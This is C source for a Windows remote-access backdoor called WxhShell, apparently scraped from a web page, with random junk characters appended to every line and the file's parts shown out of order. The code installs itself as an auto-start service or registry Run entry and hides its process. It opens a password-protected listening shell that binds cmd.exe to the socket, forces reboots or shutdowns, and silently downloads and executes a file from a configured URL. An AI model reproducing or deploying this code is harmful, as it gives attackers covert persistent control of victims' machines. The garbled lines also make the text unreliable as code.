    if(Boot(SHUTDOWN)) q7}rD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?z hw0  
    else { `fnU p-  
    closesocket(wsh); {\1:2UKkr  
    ExitThread(0); 1^f7  
    } `"(FWK=8)"  
    break; l}bAwJ?  
    } "QKCZ8_C  
  // 获取shell og`rsl  
  case 's': { &$$o=Yg,  
    CmdShell(wsh); GI se|[p  
    closesocket(wsh); AiP#wK;  
    ExitThread(0); ww}4   
    break; t5| }0ID-  
  } S/itK3  
  // 退出 - w{`/  
  case 'x': { y*G3dWb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UmR\2 cs  
    CloseIt(wsh); `rLcJcW  
    break; Udi  
    } o>6c?Xi&  
  // 离开 uPT2ga]  
  case 'q': { :*=fGwIWS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `!udU,|N  
    closesocket(wsh); @A5'vf|2;.  
    WSACleanup(); _VUG!?_D$5  
    exit(1); qa\e`LD%Y  
    break; U<YcUmX  
        } tx*L8'jlN  
  } mn].8 F  
  } -wsoJh  
7C&J88|\  
  // 提示信息 o7r7HmA@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %`_Rl>@K=  
} Sl;[9l2  
  } ] 6X;&=H  
t/wo G9N  
  return; qkM)zOZ^  
} g@O H,h/  
aw923wEi  
// shell模块句柄 ~n"?*I`  
int CmdShell(SOCKET sock) O"GuVC}B  
{ Mp?Gi7o=  
STARTUPINFO si; :MP*Xy\7&J  
ZeroMemory(&si,sizeof(si)); w+wg)$i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8nu@6)#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +a'LdEp  
PROCESS_INFORMATION ProcessInfo; Ol sX  
char cmdline[]="cmd"; V0<g$,W=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [  *~2Ts  
  return 0; 45,):U5  
} Tc.QzD\  
0H +!v  
// 自身启动模式 :#VdFMC<  
int StartFromService(void) >T#" Im-  
{ !X[P)/?b0+  
typedef struct ,Y4>$:#n/  
{ UhKd o  
  DWORD ExitStatus; d=p=eUd2  
  DWORD PebBaseAddress; Nz77" kC  
  DWORD AffinityMask; E !9(6G4  
  DWORD BasePriority; 7>E>`Nc6  
  ULONG UniqueProcessId; Kqz+:E8D  
  ULONG InheritedFromUniqueProcessId; @<jm+f"MP  
}   PROCESS_BASIC_INFORMATION; j"A<qI  
rJT YCe1*  
PROCNTQSIP NtQueryInformationProcess; `-!kqJ  
GBl[s,g[|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :jf/$]p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  Zsn@O2  
.k-t5d  
  HANDLE             hProcess; Xw#"?B(M]  
  PROCESS_BASIC_INFORMATION pbi; 6lPuYEmT  
Pav W@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kz/"5gX:  
  if(NULL == hInst ) return 0; B k*Rz4Oa  
VaW^;d#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %Z3B9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  6oI/*`>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _o T+x%i  
? *v*fs0  
  if (!NtQueryInformationProcess) return 0; xi<yB0MoA  
Yr*!T= z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R.\]JvqO  
  if(!hProcess) return 0; 1=h5Z3/fj  
iR!]&Oh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c{IL"B6>  
zm{`+boH<  
  CloseHandle(hProcess); =axuLP))  
t#VX#dJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5WA:gygB&  
if(hProcess==NULL) return 0; m^~5Xr"  
D/ VEl{ba-  
HMODULE hMod; b BiTAP  
char procName[255]; r8tW)"?  
unsigned long cbNeeded; 4TTrHs  
+c8t~2tuN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P }^Y"zF2  
XtQwLH+F  
  CloseHandle(hProcess);  "D'rsEh  
~.4y* &  
if(strstr(procName,"services")) return 1; // 以服务启动 &lgzNC9g%  
~Zn|(  
  return 0; // 注册表启动 AmZW=n2^  
} {;|pcx\L6~  
3B='f"G  
// 主模块 ))dw[Xa  
int StartWxhshell(LPSTR lpCmdLine) 1G6 \}El95  
{ C+t0Zen  
  SOCKET wsl; O')=]6CQ*  
BOOL val=TRUE; h;#046-7  
  int port=0; 5UJ ?1"J  
  struct sockaddr_in door; J(K/z,4h  
\*&?o51 !e  
  if(wscfg.ws_autoins) Install(); $)  M2  
ff7#LeB9  
port=atoi(lpCmdLine); !Eg2#a?  
&8pGq./lr=  
if(port<=0) port=wscfg.ws_port; +_{cq@c  
{ P,hH~!  
  WSADATA data; %gQUog  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V'gJtF  
bIlNA)g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4x<H=CJC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +V(^ "Z~  
  door.sin_family = AF_INET; vS"h`pL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X-X`Z`o  
  door.sin_port = htons(port); =1k%T{>  
[y}h   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j{'_sI{{  
closesocket(wsl); JS/ChoU  
return 1; KxD/{0F  
} EP"Z58&$R  
op/_ :#&'  
  if(listen(wsl,2) == INVALID_SOCKET) { ^eyVEN  
closesocket(wsl); OSfT\8YA  
return 1; ,(-V<>/*.|  
} ~1E!Co  
  Wxhshell(wsl); .jg@UAK  
  WSACleanup(); 3~7!=s\v  
.zl[nx[9"D  
return 0; F:d2;  
zy%0;%  
} Trs2M+r)  
{* :^K\-  
// 以NT服务方式启动 SSCs96  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0g6sGz=  
{ OjAdY\ ]1  
DWORD   status = 0; n.qT7d(  
  DWORD   specificError = 0xfffffff; IU5T5p  
$U. |  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w;{Q)_A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OF={k[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M 87CP=yc  
  serviceStatus.dwWin32ExitCode     = 0; ?hGE[.(eh]  
  serviceStatus.dwServiceSpecificExitCode = 0; =PQ4S2Q  
  serviceStatus.dwCheckPoint       = 0; 3[y$$qXI  
  serviceStatus.dwWaitHint       = 0; jl>TZ)4}V  
Qu,R6G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +lfO4^V  
  if (hServiceStatusHandle==0) return; z?Ok'LX  
mj?Gc  
status = GetLastError(); ~;]kqYIJ  
  if (status!=NO_ERROR) |1tpXpe  
{ i-w$-2w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S9r?= K  
    serviceStatus.dwCheckPoint       = 0; P9qIq]M  
    serviceStatus.dwWaitHint       = 0; I*^t!+q$  
    serviceStatus.dwWin32ExitCode     = status; [*5]NNB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8B &EH+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pDYJLh-C  
    return; [U",yN]d  
  } 343d`FRa}  
W6}>iB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q^<HG]  
  serviceStatus.dwCheckPoint       = 0; j'U1lEZm2  
  serviceStatus.dwWaitHint       = 0; K:jn^JN$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i!}6FB Z  
} Axns  
S<NK!89  
// 处理NT服务事件,比如:启动、停止 akt7rnt?i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hrq% {!Z  
{ m7y[Y  
switch(fdwControl) ;5L^)Nyd  
{ GC7WRA  
case SERVICE_CONTROL_STOP: qzJ<9H  
  serviceStatus.dwWin32ExitCode = 0; ZLxa|R7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .MG83Si  
  serviceStatus.dwCheckPoint   = 0; KUYwc@si\  
  serviceStatus.dwWaitHint     = 0; =f y|Dm74  
  { ` 6*]cn#(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lH`TF_  
  } h2T\%V_j  
  return; _J!&R:]$  
case SERVICE_CONTROL_PAUSE: 2aCf?l(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jk&xzJH.  
  break; gN />y1{a  
case SERVICE_CONTROL_CONTINUE: `*B0n>ol,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d1\nMm}v  
  break; " (O3B  
case SERVICE_CONTROL_INTERROGATE: )dX(0E4Td/  
  break; #+l`tj4b/  
}; ZSK_Lux>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c'tQA  
} #:0-t!<0C  
[ 5}Q  
// 标准应用程序主函数 m{=Q88k!@.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oRSA&h Ss  
{ ZHN'j] ?  
AK,'KO%{=  
// 获取操作系统版本 ~?Ky{jah:^  
OsIsNt=GetOsVer(); cjPXrDl{\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z,ERq,g+L  
O 7 aLW  
  // 从命令行安装 3~tu\TH6d  
  if(strpbrk(lpCmdLine,"iI")) Install(); :K]7(y7>  
FMeBsI9pL  
  // 下载执行文件 Wj^e)2%  
if(wscfg.ws_downexe) { !2.BLJE>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U< G2tn(  
  WinExec(wscfg.ws_filenam,SW_HIDE); D)ri_w!Q  
} U< Xdhgo?  
[Cv./hEQi  
if(!OsIsNt) { uO LShNo  
// 如果时win9x,隐藏进程并且设置为注册表启动 <C&|8@A0  
HideProc(); O7VEyQqf5  
StartWxhshell(lpCmdLine); F""9O6u  
} $~.YB\3  
else }q@#M8b  
  if(StartFromService()) i,*m(C@F}  
  // 以服务方式启动 9;U?_   
  StartServiceCtrlDispatcher(DispatchTable); t kj  
else H( i   
  // 普通方式启动 dREY m}1  
  StartWxhshell(lpCmdLine); 3r kcIVO  
sd\p[MXX  
return 0; q/U-6A[0  
} jW`JThoq  
Cn3 _D  
 SW#/;|m  
f; |fS~  
=========================================== zZCRej  
:}v-+eIQ  
;C$+8%P4  
i>YQ<A1  
K#wA ;  
}psRgF  
" e9KD mX_  
YP_L~zZ  
#include <stdio.h> X%5eZ"1{x  
#include <string.h> '^_u5Y]  
#include <windows.h> 7:u+cv  
#include <winsock2.h> hOAZvrfQ4  
#include <winsvc.h> ALTOi?  
#include <urlmon.h> +_i{4Iz~p  
N~O3KG q  
#pragma comment (lib, "Ws2_32.lib") dn- [Gnde  
#pragma comment (lib, "urlmon.lib") f<@!{y 2Xe  
^-~JkW'z  
#define MAX_USER   100 // 最大客户端连接数 ? x #K:a?  
#define BUF_SOCK   200 // sock buffer ~< bpdI0  
#define KEY_BUFF   255 // 输入 buffer H\ejW@< ;h  
mfQ#n!{ZH  
#define REBOOT     0   // 重启 Re8x!e'>  
#define SHUTDOWN   1   // 关机 !Rl|o^Vw>{  
D:/ n2_  
#define DEF_PORT   5000 // 监听端口 gfg,V.:  
fx_#3=bXi  
#define REG_LEN     16   // 注册表键长度 ,\\ba_*z  
#define SVC_LEN     80   // NT服务名长度 ~Xxmj!nOf  
( *+'k1Ea  
// 从dll定义API 2P"9m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <(lA CH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =WY'n l'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1z-.e$&z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o?Hfxp0}  
+;q\7*  
// wxhshell配置信息 Res U5Ce~  
struct WSCFG { _ Ncbo#G  
  int ws_port;         // 监听端口 sh$-}1 ;  
  char ws_passstr[REG_LEN]; // 口令 %)JEYH7Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no vAUt~ X"  
  char ws_regname[REG_LEN]; // 注册表键名 13!@L bC  
  char ws_svcname[REG_LEN]; // 服务名 }~I!'J#)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yQ[;y~W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I$xZV?d.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /IUu-/ D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Fv.eIBY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  l!|c_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J2W-l{`r<  
~:z.Xu5m  
}; Pqomi!1  
p,fV .5q  
// default Wxhshell configuration Wm}c-GD  
struct WSCFG wscfg={DEF_PORT, V^2_]VFj  
    "xuhuanlingzhe", =#G 2}8mQD  
    1, N*-tBz  
    "Wxhshell", Q*smH-Sw  
    "Wxhshell", m;OvOc,  
            "WxhShell Service", j~ qm$'H  
    "Wrsky Windows CmdShell Service", nHm}^.B*+  
    "Please Input Your Password: ", `$6o*g>:  
  1, &n  k)F<  
  "http://www.wrsky.com/wxhshell.exe", wX"hUu  
  "Wxhshell.exe" v03cQw\"WE  
    }; 6$k#B ~~  
X1| +9  
// 消息定义模块 7=6:ZSI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q9/v\~m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AFz:%m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s:U:Dv  
char *msg_ws_ext="\n\rExit."; 03 @a G  
char *msg_ws_end="\n\rQuit."; 5CkG^9  
char *msg_ws_boot="\n\rReboot..."; K~ eak\=  
char *msg_ws_poff="\n\rShutdown..."; D|LO!,=b  
char *msg_ws_down="\n\rSave to "; OM\J4"YV$  
b{A[\ "  
char *msg_ws_err="\n\rErr!"; ~R!1{8HP  
char *msg_ws_ok="\n\rOK!"; buGBqx[  
I a&*JYM[  
char ExeFile[MAX_PATH]; n$/|r  
int nUser = 0; F(G..XJQ  
HANDLE handles[MAX_USER]; 0WUBj:@g  
int OsIsNt; p/h\QG1   
Y [`+7w  
SERVICE_STATUS       serviceStatus; ?*fa5=ql  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ww]$zd-bo  
;'"'|} xn  
// 函数声明 w+br)  
int Install(void); gmL~n7m:K  
int Uninstall(void); E`IXBI  
int DownloadFile(char *sURL, SOCKET wsh); Vm[Rp, "  
int Boot(int flag); .a*?Pal@@  
void HideProc(void); U: 9&0`k(  
int GetOsVer(void); ,MY7h 8V/  
int Wxhshell(SOCKET wsl); %6m/ve  
void TalkWithClient(void *cs); uwNJM  
int CmdShell(SOCKET sock); ,-c,3/tyA  
int StartFromService(void); 66v,/#K  
int StartWxhshell(LPSTR lpCmdLine); 8 1,N92T5  
ZoG@"vr2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9c>i>Vja!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zwfft  
HXLnjXoe  
// 数据结构和表定义 6>vR5pn  
SERVICE_TABLE_ENTRY DispatchTable[] = FOTe, F.8  
{ C(N' =-;Kl  
{wscfg.ws_svcname, NTServiceMain}, %rW}x[M%w?  
{NULL, NULL} my 'nDi  
}; 0j$\k|xFXZ  
gX}'b\zxC  
// 自我安装 ;2f=d_/x  
int Install(void) n1-p/a.  
{ 2f,8Jnia  
  char svExeFile[MAX_PATH]; ='7m$,{(Q[  
  HKEY key; -$d?e%}#  
  strcpy(svExeFile,ExeFile); h,{m{Xh  
RHF"$6EAFG  
// 如果是win9x系统,修改注册表设为自启动 b;i*}4h!  
if(!OsIsNt) { jB LTEb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 22l'kvo4"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !dqC6a  
  RegCloseKey(key); Kr}RFJ"d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BIx*t9wA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t>bzo6cj  
  RegCloseKey(key); N1t4o~  
  return 0; )&c2+Y@  
    } c2E /-n4K@  
  } A2'i~_e  
} 4) 8k?iC*  
else { @cDB 7w\  
LRJX>+@  
// 如果是NT以上系统,安装为系统服务 +:KZEFY?<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i).%GMv*r  
if (schSCManager!=0) V+gZjuN$  
{ {]CZgqE{  
  SC_HANDLE schService = CreateService vt EfH  
  ( CmU@8-1  
  schSCManager, 6#Vl3o(E|  
  wscfg.ws_svcname, &h5Vhzq(<  
  wscfg.ws_svcdisp, 6{2y$'m8  
  SERVICE_ALL_ACCESS, x ytrd.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FnGKt\  
  SERVICE_AUTO_START, b_x!m{  
  SERVICE_ERROR_NORMAL, 1iT_mtXK$  
  svExeFile, TegdB|y7O  
  NULL, Jf^3nBZ  
  NULL, )."ob=m  
  NULL, 1$*8F  
  NULL, MK#   
  NULL /X}1%p  
  ); 8lF9LZ8  
  if (schService!=0) T8 FW(Gw#  
  { (j8*F Bq  
  CloseServiceHandle(schService); @-q,%)?0}=  
  CloseServiceHandle(schSCManager); )]>t(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,N$Q']Td  
  strcat(svExeFile,wscfg.ws_svcname); NEBhVh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qf:e;1F!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c&c  
  RegCloseKey(key); S>lP?2J  
  return 0; *l7 `C)  
    } P]+B}))  
  } X@~/.H5  
  CloseServiceHandle(schSCManager); pSx5ume95"  
} lxn/97rA  
} 1hbQ30  
a~2Jf @I3  
return 1; 4H 6t" X  
} h,[L6-n  
z%}"=  
// 自我卸载 o$ @/@r  
int Uninstall(void) `I7s|9-=  
{ a~KtH;7<  
  HKEY key; IADSWzQ@  
B>u`%Ry&  
if(!OsIsNt) { 8@3=SO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > ?+Rtg|${  
  RegDeleteValue(key,wscfg.ws_regname); !.h{/37]  
  RegCloseKey(key); ruaZ(R[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b:(+d"S  
  RegDeleteValue(key,wscfg.ws_regname); H{cOkuy  
  RegCloseKey(key); ;D'm=uOl  
  return 0; bdrE2m  
  } FBE|pG7  
} +Xg:*b9So  
} c!@|y E,  
else { x8lBpr  
~&:-c v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?y|&Mz'XJ(  
if (schSCManager!=0) A!Tl  
{ RFw0u 0Nrz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7(/yyZQnZ  
  if (schService!=0) aZf/WiR2  
  { (j>`+F5f  
  if(DeleteService(schService)!=0) { ET[5`z  
  CloseServiceHandle(schService); SU%O\ 4Ty  
  CloseServiceHandle(schSCManager); .{gDw  
  return 0; m{>1# 1;$t  
  } Z|K HF"  
  CloseServiceHandle(schService); |QS|\8g{0V  
  } 1c,#`\Iikd  
  CloseServiceHandle(schSCManager); gwB,*.z  
} bWL!=  
} }P.s  
]Zb9F[  
return 1; yBK$2to~  
} WrP+n  
Rd8mn'A  
// 从指定url下载文件  %LnLB  
int DownloadFile(char *sURL, SOCKET wsh) >V.?XZ nt  
{ 33%hZ`/>  
  HRESULT hr; b GSj?t9/  
char seps[]= "/"; WD4"ft  
char *token; :r{-:   
char *file; zd$'8/Cq  
char myURL[MAX_PATH]; 8 n[(\f:  
char myFILE[MAX_PATH]; 2dz)rjd O,  
+.djC3^:  
strcpy(myURL,sURL); J5a8U&A  
  token=strtok(myURL,seps); <xBL/e %  
  while(token!=NULL) t|>P9lX@  
  { P)VQAM  
    file=token; 2Ys=/mh  
  token=strtok(NULL,seps); G;gsDn1t  
  } @zGF9O<3,@  
M8lw; (  
GetCurrentDirectory(MAX_PATH,myFILE); n\9IRuYO  
strcat(myFILE, "\\"); l_k:OZ  
strcat(myFILE, file); WG,Il/  
  send(wsh,myFILE,strlen(myFILE),0); W,8Uu1X =  
send(wsh,"...",3,0); a[ ;L+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N5 sR  
  if(hr==S_OK) AXcmN  
return 0; pI f6RwH}%  
else P^o@x,V!&  
return 1; U/FysN_N!  
54{E&QvL8o  
} UR'v;V&Cb\  
koB'Zp/FaY  
// 系统电源模块 9T;>gm  
int Boot(int flag) RAa1^Qb  
{ AclK9+V  
  HANDLE hToken; lOA EM  
  TOKEN_PRIVILEGES tkp; Y4YZM  
$,Q] GIC  
  if(OsIsNt) { )fo0YpE^|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JCxQENsVqB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cZ%tJ(&\7X  
    tkp.PrivilegeCount = 1; R|@~<*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; idHI)6!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o5/BE`VD5c  
if(flag==REBOOT) { aF/DFaiYv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m|JA }&A  
  return 0; @GXKqi  
} 3LyNi$`f  
else { t=eI*M+>h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UZsvYy?  
  return 0; }r18Y6  
} IqlCl>_j  
  } [qY yr  
  else { =XYc2. t  
if(flag==REBOOT) { @?s>oSyV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }72\Aw5  
  return 0; I[rR-4.F]  
} r4cz?e |  
else { X<_HQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XD8Cf!  
  return 0; Qu<6X@+5  
} |L*=\%t8  
} X}G$ON  
m{$+  
return 1; v`L]dY4,  
} %J'/cmR&  
;k0Jl0[}  
// win9x进程隐藏模块 [$K8y&\L  
void HideProc(void) zT}vaU 6  
{ h#Rza-?"\  
hrJ(][8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yt=)=n  
  if ( hKernel != NULL ) Bi9Q8#lh  
  { g/l:q&Q<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XXm7rn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); " ;Cf@}i>  
    FreeLibrary(hKernel); Fa`%MR1  
  } |) cJ  
 7L:Eg  
return; ,_$J-F?  
} ]}Ys4(}  
7V@r^/`8N  
// 获取操作系统版本 &tbAXU5$  
int GetOsVer(void) 6n]jx:CZ,  
{ 3O 4,LXdA  
  OSVERSIONINFO winfo; 9: g]DIL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ho6hjhS|u  
  GetVersionEx(&winfo); QSzht$ 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3st?6?7|  
  return 1; A *:| d~  
  else feS$)H9-  
  return 0; % u VTf  
} e[Vk+Te7  
gT+wn-3  
// 客户端句柄模块 0datzEns`  
int Wxhshell(SOCKET wsl) "{+2Q  
{ y(iq  
  SOCKET wsh; ->OVNmCB`+  
  struct sockaddr_in client; nT01B1/<]  
  DWORD myID; %hmRh~/&  
&=S:I!9;;  
  while(nUser<MAX_USER) `, ]ui*  
{ 1D)0\#><  
  int nSize=sizeof(client); hMz)l\0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &2.DZ),L  
  if(wsh==INVALID_SOCKET) return 1; y4@gw.pt  
IP{$lC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >h:'Z*9  
if(handles[nUser]==0) <7)sS<I  
  closesocket(wsh); H}_R`S  
else [%yj' )R/  
  nUser++; teb(gUy}L6  
  } 9%SC#V'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 569p/?  
}&L%c>  
  return 0; 8G$BQ  
} <L*`WO]\l  
wA 7\K~fHV  
// 关闭 socket #X1a v  
void CloseIt(SOCKET wsh) 7. $wK.  
{ 7*M-?  
closesocket(wsh); _UZPQ[  
nUser--; N)D+FV29y  
ExitThread(0); %2b^t*CQ  
} w2s06`g  
u^MRKLn  
// 客户端请求句柄 0#=xUk#LP`  
void TalkWithClient(void *cs) dg~lz80  
{ WC=d @d)M  
Vh;|qF 9  
  SOCKET wsh=(SOCKET)cs; ~uq010lMno  
  char pwd[SVC_LEN]; `YwJ.E  
  char cmd[KEY_BUFF]; yEjiMtQll]  
char chr[1]; \p.yR.  
int i,j; >l%8d'=Jl  
w-R.)  
  while (nUser < MAX_USER) { zjow %  
->?tB1}^  
if(wscfg.ws_passstr) { J2 )h":2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?%~^PHgZ|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L#'XN H"  
  //ZeroMemory(pwd,KEY_BUFF); Gt?l 2s  
      i=0; 32HF&P+0%  
  while(i<SVC_LEN) { .`_iWfK  
i5Sya]FN  
  // 设置超时 8!.V`|@lt  
  fd_set FdRead; |By[ev"Kh%  
  struct timeval TimeOut; %,~\,+NP  
  FD_ZERO(&FdRead); $mAC8a_Zu  
  FD_SET(wsh,&FdRead); iFI+W<QR  
  TimeOut.tv_sec=8; ~4=*kJ#7  
  TimeOut.tv_usec=0; RR:%"4M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mj9sX^$ dE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XC;Icr)  
gjz-CY.hz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _()1 "5{  
  pwd=chr[0]; g-UCvY I  
  if(chr[0]==0xd || chr[0]==0xa) { hQY`7m>L  
  pwd=0; `V<jt5TS  
  break; gd7r9yV  
  } K^@9\cl^  
  i++; @.i#uMWF`  
    } OE0G*`m  
'@@!lV  
  // 如果是非法用户,关闭 socket $+n6V2^K)7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `) cH(Rj  
} iSoQ1#MP)2  
XKws_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vOz1& |;D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -8FUR~WJ  
Nb9GrYIS  
while(1) { >"=DN5w ,S  
R3a}YwJFXF  
  ZeroMemory(cmd,KEY_BUFF); ^Y+C!I  
*{+{h;p  
      // 自动支持客户端 telnet标准   #O;JV}y  
  j=0; E X'PRNB,  
  while(j<KEY_BUFF) { a9p:k ]{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! #! MTk  
  cmd[j]=chr[0]; 6YNL4HE?  
  if(chr[0]==0xa || chr[0]==0xd) { qF `6l(  
  cmd[j]=0; YI7M%B9Lj  
  break; Mth:V45G|  
  } ti%RE:*  
  j++; %aw.o*@:  
    } TvDC4tm-:  
kD;pj3o&"2  
  // 下载文件 ^Z;zA@[wt  
  if(strstr(cmd,"http://")) { \ B84  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QM 3DB  
  if(DownloadFile(cmd,wsh)) z#o''  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hchG\ i  
  else m#8[")a$"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vaP`'  
  } ^5Lk}<utw  
  else { 51y"#\7  
<nqv)g"u0  
    switch(cmd[0]) { mrnPZf i  
  lTq"j?#E]m  
  // 帮助 e*lL.  
